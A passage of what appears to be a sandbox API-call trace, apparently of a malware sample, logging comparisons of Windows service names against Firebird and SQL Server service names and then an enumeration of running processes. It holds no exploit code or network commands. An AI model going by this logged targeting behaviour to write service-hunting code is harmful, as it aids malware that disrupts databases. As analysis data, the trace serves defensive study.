(lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0202.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0202.272] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0202.272] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0202.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0202.272] lstrlenW (lpString="lmhosts") returned 7 [0202.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0202.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0202.272] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0202.272] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0202.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0202.272] lstrlenW (lpString="LSM") returned 3 [0202.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0202.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0202.273] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0202.273] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0202.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0202.273] lstrlenW (lpString="MpsSvc") returned 6 [0202.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0202.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0202.273] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0202.273] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0202.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0202.273] lstrlenW (lpString="NcbService") returned 10 [0202.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0202.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0202.273] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0202.626] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0202.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0202.630] lstrlenW (lpString="netprofm") returned 8 [0202.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0202.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0202.630] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0202.677] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0202.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0202.677] lstrlenW (lpString="NgcSvc") returned 6 [0202.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0202.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0202.677] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0202.677] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0202.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0202.677] lstrlenW (lpString="NlaSvc") returned 6 [0202.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0202.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0202.677] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0202.677] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0202.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0202.677] lstrlenW (lpString="nsi") returned 3 [0202.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0202.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0202.677] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0202.677] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0202.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0202.677] lstrlenW (lpString="PcaSvc") returned 6 [0202.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0202.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0202.678] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0202.678] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0202.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0202.678] lstrlenW (lpString="PlugPlay") returned 8 [0202.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0202.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0202.678] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0202.678] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0202.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0202.678] lstrlenW (lpString="Power") returned 5 [0202.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0202.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0202.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0202.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0202.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0202.678] lstrlenW (lpString="ProfSvc") returned 7 [0202.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0202.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0202.678] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0202.678] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0202.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0202.678] lstrlenW (lpString="RpcEptMapper") returned 12 [0202.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0202.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0202.678] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0202.678] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0202.679] lstrlenW (lpString="RpcSs") returned 5 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0202.679] lstrlenW (lpString="SamSs") returned 5 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0202.679] lstrlenW (lpString="Schedule") returned 8 [0202.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0202.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0202.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0202.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0202.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0202.680] lstrlenW (lpString="SecurityHealthService") returned 21 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0202.680] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0202.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0202.680] lstrlenW (lpString="SENS") returned 4 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0202.680] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0202.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0202.680] lstrlenW (lpString="ShellHWDetection") returned 16 [0202.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0202.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0202.680] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0202.681] lstrlenW (lpString="Spooler") returned 7 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0202.681] lstrlenW (lpString="StateRepository") returned 15 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0202.681] lstrlenW (lpString="SysMain") returned 7 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0202.681] lstrlenW (lpString="SystemEventsBroker") returned 18 [0202.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0202.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0202.681] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0202.681] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0202.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0202.682] lstrlenW (lpString="Themes") returned 6 [0202.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0202.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0202.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0202.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0202.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0202.682] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0202.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0202.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0202.682] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0202.682] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0202.682] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0202.690] Process32FirstW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.691] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0202.692] lstrlenW (lpString="System") returned 6 [0202.692] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0202.693] lstrlenW (lpString="smss.exe") returned 8 [0202.693] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.694] lstrlenW (lpString="csrss.exe") returned 9 [0202.694] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0202.695] lstrlenW (lpString="wininit.exe") returned 11 [0202.695] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.696] lstrlenW (lpString="csrss.exe") returned 9 [0202.696] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0202.697] lstrlenW (lpString="winlogon.exe") returned 12 [0202.697] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0202.698] lstrlenW (lpString="services.exe") returned 12 [0202.698] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0202.699] lstrlenW (lpString="lsass.exe") returned 9 [0202.699] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0202.700] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0202.700] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0202.700] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0202.701] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.701] lstrlenW (lpString="svchost.exe") returned 11 [0202.701] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.702] lstrlenW (lpString="svchost.exe") returned 11 [0202.702] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0202.703] lstrlenW (lpString="dwm.exe") returned 7 [0202.703] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.704] lstrlenW (lpString="svchost.exe") returned 11 [0202.704] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.705] lstrlenW (lpString="svchost.exe") returned 11 [0202.705] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.706] lstrlenW (lpString="svchost.exe") returned 11 [0202.706] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.706] lstrlenW (lpString="svchost.exe") returned 11 [0202.707] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.707] lstrlenW (lpString="svchost.exe") returned 11 [0202.707] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.708] lstrlenW (lpString="svchost.exe") returned 11 [0202.708] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.709] lstrlenW (lpString="svchost.exe") returned 11 [0202.709] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.710] lstrlenW (lpString="svchost.exe") returned 11 [0202.710] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.826] lstrlenW (lpString="svchost.exe") returned 11 [0202.826] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.827] lstrlenW (lpString="svchost.exe") returned 11 [0202.827] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0202.828] lstrlenW (lpString="spoolsv.exe") returned 11 [0202.828] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.829] lstrlenW (lpString="svchost.exe") returned 11 [0202.830] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0202.831] lstrlenW (lpString="audiodg.exe") returned 11 [0202.831] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0202.832] lstrlenW (lpString="sihost.exe") returned 10 [0202.832] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.833] lstrlenW (lpString="svchost.exe") returned 11 [0202.833] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0202.834] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0202.834] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0202.835] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0202.835] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0202.837] lstrlenW (lpString="Memory Compression") returned 18 [0202.837] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0202.838] lstrlenW (lpString="taskhostw.exe") returned 13 [0202.838] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0202.839] lstrlenW (lpString="msoia.exe") returned 9 [0202.839] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0202.840] lstrlenW (lpString="explorer.exe") returned 12 [0202.840] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0202.841] lstrlenW (lpString="SearchUI.exe") returned 12 [0202.841] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0202.842] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0202.842] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0202.843] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0202.843] Process32NextW (in: hSnapshot=0x300, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0202.844] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0202.845] Process32NextW (in: hSnapshot=0x300, 